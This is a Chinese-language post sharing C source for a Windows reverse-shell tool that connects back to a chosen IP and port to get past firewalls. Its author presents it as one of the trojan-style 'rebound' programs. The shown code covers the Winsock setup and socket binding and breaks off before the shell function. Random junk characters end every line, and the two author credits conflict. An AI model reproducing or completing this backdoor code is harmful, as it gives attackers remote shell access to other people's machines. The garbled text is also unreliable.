这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pu-HEv}]a|
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/* ============================== i_Kwxn$
Rebound port in Windows NT i2F7O"f.
By wind,2006/7 Ss3p6%V/
===============================*/ ^QK`z@B
#include twT/uBQ4a
#include -'rdN i
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#pragma comment(lib,"wsock32.lib") Z%t_1t
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void OutputShell(); YEL0h0gn
SOCKET sClient; })g<I+]Hf9
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^&zCPUH
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void main(int argc,char **argv) UhxM85M;x
{ MK&,2>m,A
WSADATA stWsaData; u[>"_!T
int nRet; v88vr
SOCKADDR_IN stSaiClient,stSaiServer; 87 Z[0>
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if(argc != 3) !Sc"V.o@!
{ CSM"Kz`
printf("Useage:\n\rRebound DestIP DestPort\n"); AIF?>wgq
return; { 3G
} v 6 ~9)\!j
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WSAStartup(MAKEWORD(2,2),&stWsaData); :4ryi&Y
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M'*s5:i
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stSaiClient.sin_family = AF_INET; (q)}`1d'
stSaiClient.sin_port = htons(0); d&AG~,&d|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Nx}nOm
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ZU4=&K
{ v"*r %nCi
printf("Bind Socket Failed!\n"); J_Lmy7~xbD
return; O-?rFNavxp
} IH|zNg{\Y
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stSaiServer.sin_family = AF_INET; r\NqY.U&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :F(4&e